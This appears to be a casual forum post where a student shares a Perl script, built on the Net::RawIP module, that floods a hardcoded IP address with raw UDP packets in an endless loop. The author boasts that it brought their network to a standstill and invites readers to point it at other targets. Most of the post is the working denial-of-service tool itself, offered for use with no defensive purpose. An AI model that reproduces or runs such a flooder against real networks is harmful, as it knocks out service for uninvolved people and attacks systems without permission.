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its been a long time (um... very long time) since i lasted accessed perl monks..... i've been bit busy with my college work... increasing my GPA (am glad to say its reached 3.2/5) anyways.... so i came back to my best friends (C and perl) and as an inaugral lesson i learned the Net::RawIP module and made my network flooder..... it creates a packet storm bringing the network to an ultimate standstill.... it works.... i've tried it.... though my neighbours came and almost killed me after that.... :p
#!/usr/bin/perl use Net::RawIP; use strict; use warnings; my $rawpack=Net::RawIP->new({ ip=>{saddr=>"",daddr=>"192.168.1 +0.12"}, udp=>{source=>80,len=>1000,data=>"hnd-ucb"} }) or die "cannot create raw packet:$!\n"; #send or rather broadcast indefinitely 100 packets at a time system("clear"); my ($count1,$count2)=0; my($saddr,$daddr,$source,$len,$data)=$rawpack->get( {ip=>[qw (saddr da +ddr)], udp=>[qw (source len data)]}); print "$saddr\n$daddr\n$source\n$len\n$data\n"; print "flooding\n"; sleep(5); for(;;) { $rawpack->send(0,100); $count1++; if($count1==10**5) { $count1=0; $count2++; print "$count2"; system("clear"); } }
the values of the saddr and daddr parameters are hardcoded (am sorry).... you can replace it with command line arguments or hardcode any other value..... leave me a post if this sux or something.... brrrrrrrrrreeeeeeee :D
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